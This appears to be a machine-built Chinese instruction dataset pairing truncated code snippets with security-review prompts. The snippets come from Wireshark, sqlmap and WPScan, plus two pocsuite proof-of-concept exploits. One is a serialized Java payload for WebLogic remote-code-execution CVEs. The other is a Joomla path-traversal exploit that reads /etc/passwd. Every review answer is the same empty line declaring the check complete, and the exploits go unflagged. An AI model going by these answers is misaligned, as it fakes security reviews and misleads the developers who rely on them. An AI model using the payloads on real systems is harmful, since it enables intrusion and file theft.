Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import copy
import types

from thirdparty.odict import OrderedDict
from thirdparty.six.moves import collections_abc as _collections

class AttribDict(dict):
    """
    This class defines the dictionary with added capability to access members as attributes

    >>> foo = AttribDict()
    >>> foo.bar = 1
    >>> foo.bar
    1
    """

    def __init__(self, indict=None, attribute=None, keycheck=True):
        if indict is None:
            indict = {}

        # Set any attributes here - before initialisation
        # these remain as normal attributes
        self.attribute = attribute
        self.keycheck = keycheck
        dict.__init__(self, indict)
        self.__initialised = True

        # After initialisation, setting attributes
        # is the same as setting an item

    def __getattr__(self, item):
        """
        Maps values to attributes
        Only called if there *is NOT* an attribute with this name
        """

        try:
            return self.__getitem__(item)
        except KeyError:
            if self.keycheck:
                raise AttributeError("unable to access item '%s'" % item)
            else:
                return None

    def __delattr__(self, item):
        """
        Deletes attributes
        """

        try:
            return self.pop(item)
        except KeyError:
            if self.keycheck:
                raise AttributeError("unable to access item '%s'" % item)
            else:
                return None

    def __setattr__(self, item, value):
        """
        Maps attributes to values
        Only if we are initialised
        """

        # This test allows attributes to be set in the __init__ method
        if "_AttribDict__initialised" not in self.__dict__:
            return dict.__setattr__(self, item, value)

        # Any normal attributes are handled normal...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-snmp.c                                                              */
/* asn2wrs.py -b -L -p snmp -c ./snmp.cnf -s ./packet-snmp-template -D . -O ../.. snmp.asn */

/* packet-snmp.c
 * Routines for SNMP (simple network management protocol)
 * Copyright (C) 1998 Didier Jorand
 *
 * See RFC 1157 for SNMPv1.
 *
 * See RFCs 1901, 1905, and 1906 for SNMPv2c.
 *
 * See RFCs 1905, 1906, 1909, and 1910 for SNMPv2u [historic].
 *
 * See RFCs 2570-2576 for SNMPv3
 * Updated to use the asn2wrs compiler made by Tomas Kukosa
 * Copyright (C) 2005 - 2006 Anders Broman [AT] ericsson.com
 *
 * See RFC 3414 for User-based Security Model for SNMPv3
 * See RFC 3826 for  (AES) Cipher Algorithm in the SNMP USM
 * See RFC 2578 for Structure of Management Information Version 2 (SMIv2)
 * Copyright (C) 2007 Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Some stuff from:
 *
 * GXSNMP -- An snmp mangament application
 * Copyright (C) 1998 Gregory McLean & Jochen Friedrich
 * Beholder RMON ethernet network monitor,Copyright (C) 1993 DNPAP group
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#if 0
#include <stdio.h>
#define D(args) do {printf args; fflush(stdout); } while(0)
#endif

#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/conversation.h>
#include <epan/etypes.h>
#include <epan/prefs.h>
#include <epan/addr_resolv.h>
#include <epan/next_tvb.h>
#include <epan/uat.h>
#include <epan/asn1.h>
#include <epan/expert.h>
#include <epan/oids.h>
#include <epan/srt_table.h>
#include <epan/tap.h>
#include "packet-ipx.h"
#include "packet-hpext.h"
#include "packet-ber.h"
#include "packet-snmp.h"
#include <wsutil/wsgcrypt.h>

#define PNAME  "Simple Network Management Protoco...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-snmp.c                                                              */
/* asn2wrs.py -b -L -p snmp -c ./snmp.cnf -s ./packet-snmp-template -D . -O ../.. snmp.asn */

/* packet-snmp.c
 * Routines for SNMP (simple network management protocol)
 * Copyright (C) 1998 Didier Jorand
 *
 * See RFC 1157 for SNMPv1.
 *
 * See RFCs 1901, 1905, and 1906 for SNMPv2c.
 *
 * See RFCs 1905, 1906, 1909, and 1910 for SNMPv2u [historic].
 *
 * See RFCs 2570-2576 for SNMPv3
 * Updated to use the asn2wrs compiler made by Tomas Kukosa
 * Copyright (C) 2005 - 2006 Anders Broman [AT] ericsson.com
 *
 * See RFC 3414 for User-based Security Model for SNMPv3
 * See RFC 3826 for  (AES) Cipher Algorithm in the SNMP USM
 * See RFC 2578 for Structure of Management Information Version 2 (SMIv2)
 * Copyright (C) 2007 Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Some stuff from:
 *
 * GXSNMP -- An snmp mangament application
 * Copyright (C) 1998 Gregory McLean & Jochen Friedrich
 * Beholder RMON ethernet network monitor,Copyright (C) 1993 DNPAP group
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#if 0
#include <stdio.h>
#define D(args) do {printf args; fflush(stdout); } while(0)
#endif

#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/conversation.h>
#include <epan/etypes.h>
#include <epan/prefs.h>
#include <epan/addr_resolv.h>
#include <epan/next_tvb.h>
#include <epan/uat.h>
#include <epan/asn1.h>
#include <epan/expert.h>
#include <epan/oids.h>
#include <epan/srt_table.h>
#include <epan/tap.h>
#include "packet-ipx.h"
#include "packet-hpext.h"
#include "packet-ber.h"
#include "packet-snmp.h"
#include <wsutil/wsgcrypt.h>

#define PNAME  "Simple Network Management Protoco...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* wireless_timeline.cpp
 * GUI to show an 802.11 wireless timeline of packets
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copyright 2012 Parc Inc and Samsung Electronics
 * Copyright 2015, 2016 & 2017 Cisco Inc
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "wireless_timeline.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/proto_data.h>
#include <epan/packet_info.h>
#include <epan/column-utils.h>
#include <epan/tap.h>

#include <cmath>

#include "globals.h"
#include <epan/dissectors/packet-ieee80211-radio.h>

#include <epan/color_filters.h>
#include "frame_tvbuff.h"

#include <ui/qt/utils/color_utils.h>
#include <ui/qt/utils/qt_ui_utils.h>
#include "main_application.h"
#include <wsutil/report_message.h>
#include <wsutil/utf8_entities.h>

#ifdef Q_OS_WIN
#include "wsutil/file_util.h"
#include <QSysInfo>
#endif

#include <QPaintEvent>
#include <QPainter>
#include <QGraphicsScene>
#include <QToolTip>

#include <ui/qt/main_window.h>
#include "packet_list.h"
#include <ui/qt/models/packet_list_model.h>

/* we start rendering this number of microseconds left of the left edge - to ensure
 * NAV lines are drawn correctly, and that small errors in time order don't prevent some
 * frames from being rendered.
 * These errors in time order can come from generators that record PHY rate incorrectly
 * in some circumstances.
 */
#define RENDER_EARLY 40000

const float fraction = 0.8F;
const float base = 0.1F;
class pcolor : public QColor
{
public:
    inline pcolor(float red, float green, float blue) : QColor(
            (int) (255*(red * fraction + base)),
            (int) (255*(green * fraction + base)),
            (int) (255*(blue * fraction + base))) { }
};

static void reset_rgb(float rgb[TIMELINE_HEIGHT][3])
{
    int i;
    for (i = 0; i < TIMELINE_HEIGHT; i++)
        rgb[i][0] = rgb[i][1] = rgb[i][2] = 1.0;
}

static void render_pixels(QPainter &p, gint x, ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* wireless_timeline.cpp
 * GUI to show an 802.11 wireless timeline of packets
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copyright 2012 Parc Inc and Samsung Electronics
 * Copyright 2015, 2016 & 2017 Cisco Inc
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "wireless_timeline.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/proto_data.h>
#include <epan/packet_info.h>
#include <epan/column-utils.h>
#include <epan/tap.h>

#include <cmath>

#include "globals.h"
#include <epan/dissectors/packet-ieee80211-radio.h>

#include <epan/color_filters.h>
#include "frame_tvbuff.h"

#include <ui/qt/utils/color_utils.h>
#include <ui/qt/utils/qt_ui_utils.h>
#include "main_application.h"
#include <wsutil/report_message.h>
#include <wsutil/utf8_entities.h>

#ifdef Q_OS_WIN
#include "wsutil/file_util.h"
#include <QSysInfo>
#endif

#include <QPaintEvent>
#include <QPainter>
#include <QGraphicsScene>
#include <QToolTip>

#include <ui/qt/main_window.h>
#include "packet_list.h"
#include <ui/qt/models/packet_list_model.h>

/* we start rendering this number of microseconds left of the left edge - to ensure
 * NAV lines are drawn correctly, and that small errors in time order don't prevent some
 * frames from being rendered.
 * These errors in time order can come from generators that record PHY rate incorrectly
 * in some circumstances.
 */
#define RENDER_EARLY 40000

const float fraction = 0.8F;
const float base = 0.1F;
class pcolor : public QColor
{
public:
    inline pcolor(float red, float green, float blue) : QColor(
            (int) (255*(red * fraction + base)),
            (int) (255*(green * fraction + base)),
            (int) (255*(blue * fraction + base))) { }
};

static void reset_rgb(float rgb[TIMELINE_HEIGHT][3])
{
    int i;
    for (i = 0; i < TIMELINE_HEIGHT; i++)
        rgb[i][0] = rgb[i][1] = rgb[i][2] = 1.0;
}

static void render_pixels(QPainter &p, gint x, ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

module WPScan
  module Controller
    # Controller to ensure that the wp-content and wp-plugins
    # directories are found
    class CustomDirectories < CMSScanner::Controller::Base
      def cli_options
        [
          OptString.new(['--wp-content-dir DIR',
                         'The wp-content directory if custom or not detected, such as "wp-content"']),
          OptString.new(['--wp-plugins-dir DIR',
                         'The plugins directory if custom or not detected, such as "wp-content/plugins"'])
        ]
      end

      def before_scan
        target.content_dir = ParsedCli.wp_content_dir if ParsedCli.wp_content_dir
        target.plugins_dir = ParsedCli.wp_plugins_dir if ParsedCli.wp_plugins_dir

        raise Error::WpContentDirNotDetected unless target.content_dir
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

module WPScan
  module Controller
    # Controller to ensure that the wp-content and wp-plugins
    # directories are found
    class CustomDirectories < CMSScanner::Controller::Base
      def cli_options
        [
          OptString.new(['--wp-content-dir DIR',
                         'The wp-content directory if custom or not detected, such as "wp-content"']),
          OptString.new(['--wp-plugins-dir DIR',
                         'The plugins directory if custom or not detected, such as "wp-content/plugins"'])
        ]
      end

      def before_scan
        target.content_dir = ParsedCli.wp_content_dir if ParsedCli.wp_content_dir
        target.plugins_dir = ParsedCli.wp_plugins_dir if ParsedCli.wp_plugins_dir

        raise Error::WpContentDirNotDetected unless target.content_dir
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
import socket
import time
import re
from urllib.parse import urlparse
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2018-12-25'
    createDate = '2018-12-25'
    updateDate = '2018-12-25'
    references = ['', ]
    name = 'Oracle Weblogic unserialize vulnerability check'
    appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
    appName = 'Weblogic'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

    '''

    def _verify(self):
        VUL = ['CVE-2016-0638',
               'CVE-2016-3510',
               'CVE-2017-3248',
               'CVE-2018-2628',
               'CVE-2018-2893',
               'CVE-2019-2890',
               ]
        PAYLOAD = ['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
import socket
import time
import re
from urllib.parse import urlparse
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2018-12-25'
    createDate = '2018-12-25'
    updateDate = '2018-12-25'
    references = ['', ]
    name = 'Oracle Weblogic unserialize vulnerability check'
    appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
    appName = 'Weblogic'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

    '''

    def _verify(self):
        VUL = ['CVE-2016-0638',
               'CVE-2016-3510',
               'CVE-2017-3248',
               'CVE-2018-2628',
               'CVE-2018-2893',
               'CVE-2019-2890',
               ]
        PAYLOAD = ['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '68611'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2010-06-01'
    createDate = '2015-12-08'
    updateDate = '2015-12-08'
    references = ['http://www.sebug.net/vuldb/ssvid-68611']
    name = 'Joomla Component com_jequoteform - Local File Inclusion'
    appPowerLink = 'www.joomla.org'
    appName = 'Joomla Component com_jequoteform'
    appVersion = 'N/A'
    vulType = 'Local File Inclusion'
    desc = '''
		Joomla!的JE Quotation Form (com_jequoteform)组件存在目录遍历漏洞。
		远程攻击者可以借助脚本index.php中的view参数中的".."符读取任意的文件，也可能导致其他未明影响。
    '''
    samples = ['']

    def _attack(self):
        result = {}
        return self.parse_output(result)

    def _verify(self):
		#下面以读取/etc/passwd文件的内容为例子验证漏洞
        result = {}
        filename='/etc/passwd'
        url='/index.php'
        exploit='?option=com_jequoteform&view='
        dBs='../'*5+'..'
        ends='%00'
		#测试的URL地址
        vulurl=self.url+url+exploit+dBs+filename+ends
		#伪造的HTTP头
        httphead = {
          'Host':'www.google.com',
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        resp=req.get(vulurl,headers=httphead,timeout=50)
        if resp.status_code==200 and re.match('root:.+?:0:0:.+?:.+?:.+?', resp.content):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vulurl
            result['Fileinfo']={}
            result['Fileinfo']['Filename']=filename
            result['Fileinfo']['Content']=resp.content
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
      ...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '68611'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2010-06-01'
    createDate = '2015-12-08'
    updateDate = '2015-12-08'
    references = ['http://www.sebug.net/vuldb/ssvid-68611']
    name = 'Joomla Component com_jequoteform - Local File Inclusion'
    appPowerLink = 'www.joomla.org'
    appName = 'Joomla Component com_jequoteform'
    appVersion = 'N/A'
    vulType = 'Local File Inclusion'
    desc = '''
		Joomla!的JE Quotation Form (com_jequoteform)组件存在目录遍历漏洞。
		远程攻击者可以借助脚本index.php中的view参数中的".."符读取任意的文件，也可能导致其他未明影响。
    '''
    samples = ['']

    def _attack(self):
        result = {}
        return self.parse_output(result)

    def _verify(self):
		#下面以读取/etc/passwd文件的内容为例子验证漏洞
        result = {}
        filename='/etc/passwd'
        url='/index.php'
        exploit='?option=com_jequoteform&view='
        dBs='../'*5+'..'
        ends='%00'
		#测试的URL地址
        vulurl=self.url+url+exploit+dBs+filename+ends
		#伪造的HTTP头
        httphead = {
          'Host':'www.google.com',
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        resp=req.get(vulurl,headers=httphead,timeout=50)
        if resp.status_code==200 and re.match('root:.+?:0:0:.+?:.+?:.+?', resp.content):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vulurl
            result['Fileinfo']={}
            result['Fileinfo']['Filename']=filename
            result['Fileinfo']['Content']=resp.content
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
      ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* capture_info_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wireshark.h"

#include "ui/capture_info.h"

#include "epan/capture_dissectors.h"
#include "epan/proto.h"

#include "ui/capture.h"

#include "capture_info_dialog.h"
#include "ui_capture_info_dialog.h"

#include "main_application.h"

#include "ui/qt/models/sparkline_delegate.h"

#include "utils/qt_ui_utils.h"

#include <QMainWindow>
#include <QPushButton>

// The GTK+ version of this dialog showed a list of protocols and a simple bar graph
// (progress bars) showing their portion of the total number of packets. We show a
// a time series for each protocol using a sparkline. If we wanted to show bar graphs
// instead we could do so using QProgressBars or using PercentBarDelegates.

extern "C" {

// Callbacks defined in ui/capture_info.h.

/* create the capture info dialog */
/* will keep pointers to the fields in the counts parameter */
void capture_info_ui_create(
capture_info    *cinfo,
capture_session *cap_session)
{
    // cinfo->ui should have three values:
    // - The main window, set in MainWindow::startCapture.
    // - This dialog, set below.
    // - NULL, set in our destructor.

    if (!cinfo || !cinfo->ui) return;
    if (!cap_session) return;
    QMainWindow *main_window = qobject_cast<QMainWindow *>((QObject *)cinfo->ui);
    if (!main_window) return;

    // ...and we take it over from here.
    CaptureInfoDialog *ci_dlg = new CaptureInfoDialog(cinfo, cap_session, main_window);
    cinfo->ui = ci_dlg;
    ci_dlg->show();
}

/* update the capture info dialog */
/* As this function is a bit time critical while capturing, */
/* prepare everything possible in the capture_info_ui_create() function above! */
void capture_info_ui_update(
capture_info    *cinfo)
{
    CaptureInfoDialog *ci_dlg = qobject_cast<CaptureInfoDialog *>((QObject...


Instruction: 检查这段代码是否存在安全问题

Input:
/* capture_info_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wireshark.h"

#include "ui/capture_info.h"

#include "epan/capture_dissectors.h"
#include "epan/proto.h"

#include "ui/capture.h"

#include "capture_info_dialog.h"
#include "ui_capture_info_dialog.h"

#include "main_application.h"

#include "ui/qt/models/sparkline_delegate.h"

#include "utils/qt_ui_utils.h"

#include <QMainWindow>
#include <QPushButton>

// The GTK+ version of this dialog showed a list of protocols and a simple bar graph
// (progress bars) showing their portion of the total number of packets. We show a
// a time series for each protocol using a sparkline. If we wanted to show bar graphs
// instead we could do so using QProgressBars or using PercentBarDelegates.

extern "C" {

// Callbacks defined in ui/capture_info.h.

/* create the capture info dialog */
/* will keep pointers to the fields in the counts parameter */
void capture_info_ui_create(
capture_info    *cinfo,
capture_session *cap_session)
{
    // cinfo->ui should have three values:
    // - The main window, set in MainWindow::startCapture.
    // - This dialog, set below.
    // - NULL, set in our destructor.

    if (!cinfo || !cinfo->ui) return;
    if (!cap_session) return;
    QMainWindow *main_window = qobject_cast<QMainWindow *>((QObject *)cinfo->ui);
    if (!main_window) return;

    // ...and we take it over from here.
    CaptureInfoDialog *ci_dlg = new CaptureInfoDialog(cinfo, cap_session, main_window);
    cinfo->ui = ci_dlg;
    ci_dlg->show();
}

/* update the capture info dialog */
/* As this function is a bit time critical while capturing, */
/* prepare everything possible in the capture_info_ui_create() function above! */
void capture_info_ui_update(
capture_info    *cinfo)
{
    CaptureInfoDialog *ci_dlg = qobject_cast<CaptureInfoDialog *>((QObject...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-gsm_rlcmac.c
 * Routines for GSM RLC MAC control plane message dissection in wireshark.
 * TS 44.060 and 24.008
 * By Vincent Helfre, based on original code by Jari Sassi
 * with the gracious authorization of STE
 * Copyright (c) 2011 ST-Ericsson
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

 /* Notes on the use of this dissector:-
  *
  * These dissectors should be called with data parameter pointing to a
  * populated RlcMacPrivateData_t structure, this is needed to pass the Physical
  * Layer Coding scheme and other parameters required for correct Data Block decoding.
  * For backward compatibility, a NULL pointer causes the dissector to assume GPRS CS1.
  *
  * To dissect EGPRS blocks, the gsm_rlcmac_ul or gsm_rlcmac_dl dissector should be
  * called 1, 2 or 3 times, for the header block and then each available data block,
  * with the flags in data parameter indicating which block is to be dissected.
  *
  *   - The EGPRS Header Block occupies 4, 5 or 6 octets, the last octet is right-aligned
  *     (as viewed in wireshark) with any null bits at the high bits of the last octet.
  *   - Each EGPRS Data Block has 6 padding bits at the front, so there are then 2 data bits
  *     followed by the rest of the data block (which is implicitly octet aligned).
  *   - Either or both of the possible EGPRS Data Blocks may have been received
  *     with bad CRC and this should be marked in the flags field to allow
  *     upper layer decoding to ignore bad data blocks
  *
  * see packet-gsmtap.c for an example of the use of this dissector.
  */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "packet-csn1.h"
#include "packet-gsm_a_rr.h"

#include "packet-gsm_rlcmac.h"
#include "packet-gsm_a_common.h"

void proto_register_gsm_rlcmac(void);
void proto_reg_handoff_gsm_rlcmac(void);

static dissector_handle_t lte...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-gsm_rlcmac.c
 * Routines for GSM RLC MAC control plane message dissection in wireshark.
 * TS 44.060 and 24.008
 * By Vincent Helfre, based on original code by Jari Sassi
 * with the gracious authorization of STE
 * Copyright (c) 2011 ST-Ericsson
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

 /* Notes on the use of this dissector:-
  *
  * These dissectors should be called with data parameter pointing to a
  * populated RlcMacPrivateData_t structure, this is needed to pass the Physical
  * Layer Coding scheme and other parameters required for correct Data Block decoding.
  * For backward compatibility, a NULL pointer causes the dissector to assume GPRS CS1.
  *
  * To dissect EGPRS blocks, the gsm_rlcmac_ul or gsm_rlcmac_dl dissector should be
  * called 1, 2 or 3 times, for the header block and then each available data block,
  * with the flags in data parameter indicating which block is to be dissected.
  *
  *   - The EGPRS Header Block occupies 4, 5 or 6 octets, the last octet is right-aligned
  *     (as viewed in wireshark) with any null bits at the high bits of the last octet.
  *   - Each EGPRS Data Block has 6 padding bits at the front, so there are then 2 data bits
  *     followed by the rest of the data block (which is implicitly octet aligned).
  *   - Either or both of the possible EGPRS Data Blocks may have been received
  *     with bad CRC and this should be marked in the flags field to allow
  *     upper layer decoding to ignore bad data blocks
  *
  * see packet-gsmtap.c for an example of the use of this dissector.
  */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "packet-csn1.h"
#include "packet-gsm_a_rr.h"

#include "packet-gsm_rlcmac.h"
#include "packet-gsm_a_common.h"

void proto_register_gsm_rlcmac(void);
void proto_reg_handoff_gsm_rlcmac(void);

static dissector_handle_t lte...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

describe WPScan::DB::VulnApi do
  subject(:api) { described_class }

  let(:request_headers) do
    {
      'User-Agent' => WPScan::Browser.instance.default_user_agent,
      'Authorization' => "Token token=#{api.token}"
    }
  end

  before do
    # Reset the default_request_params
    api.instance_variable_set(:@default_request_params, nil)
  end

  describe '#uri' do
    its(:uri) { should be_a Addressable::URI }
  end

  describe '#token, @token=' do
    context 'when no token set' do
      before { api.token = nil } # In case it was set by a previous spec

      its(:token) { should be nil }
    end

    context 'when token set' do
      it 'returns it' do
        api.token = 's3cRet'

        expect(api.token).to eql 's3cRet'
      end
    end
  end

  describe '#get' do
    context 'when no token' do
      before { api.token = nil }

      it 'returns an empty hash' do
        expect(api.get('test')).to eql({})
      end
    end

    context 'when a token' do
      before { api.token = 's3cRet' }

      let(:path) { 'path' }

      context 'when params used' do
        it 'ensures they override the defaults' do
          expect(Typhoeus).to receive(:get)
            .with(api.uri.join(path), hash_including(cache_ttl: 0))
            .and_return(Typhoeus::Response.new(code: 404))

          api.get(path, cache_ttl: 0)
        end
      end

      context 'when no timeouts' do
        before do
          stub_request(:get, api.uri.join(path))
            .with(headers: request_headers)
            .to_return(status: code, body: body)
        end

        context 'when 200' do
          let(:code) { 200 }
          let(:body) { { data: 'something' }.to_json }

          it 'returns the expected hash' do
            expect(api.get(path)).to eql('data' => 'something')
          end
        end

        context 'when 403' do
          let(:code) { 403 }
          let(:body) { { status: 'forbidden' }.to_json }

          it 'returns t...


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::DB::VulnApi do
  subject(:api) { described_class }

  let(:request_headers) do
    {
      'User-Agent' => WPScan::Browser.instance.default_user_agent,
      'Authorization' => "Token token=#{api.token}"
    }
  end

  before do
    # Reset the default_request_params
    api.instance_variable_set(:@default_request_params, nil)
  end

  describe '#uri' do
    its(:uri) { should be_a Addressable::URI }
  end

  describe '#token, @token=' do
    context 'when no token set' do
      before { api.token = nil } # In case it was set by a previous spec

      its(:token) { should be nil }
    end

    context 'when token set' do
      it 'returns it' do
        api.token = 's3cRet'

        expect(api.token).to eql 's3cRet'
      end
    end
  end

  describe '#get' do
    context 'when no token' do
      before { api.token = nil }

      it 'returns an empty hash' do
        expect(api.get('test')).to eql({})
      end
    end

    context 'when a token' do
      before { api.token = 's3cRet' }

      let(:path) { 'path' }

      context 'when params used' do
        it 'ensures they override the defaults' do
          expect(Typhoeus).to receive(:get)
            .with(api.uri.join(path), hash_including(cache_ttl: 0))
            .and_return(Typhoeus::Response.new(code: 404))

          api.get(path, cache_ttl: 0)
        end
      end

      context 'when no timeouts' do
        before do
          stub_request(:get, api.uri.join(path))
            .with(headers: request_headers)
            .to_return(status: code, body: body)
        end

        context 'when 200' do
          let(:code) { 200 }
          let(:body) { { data: 'something' }.to_json }

          it 'returns the expected hash' do
            expect(api.get(path)).to eql('data' => 'something')
          end
        end

        context 'when 403' do
          let(:code) { 403 }
          let(:body) { { status: 'forbidden' }.to_json }

          it 'returns t...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature request
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.


Instruction: 检查这段代码是否存在安全问题

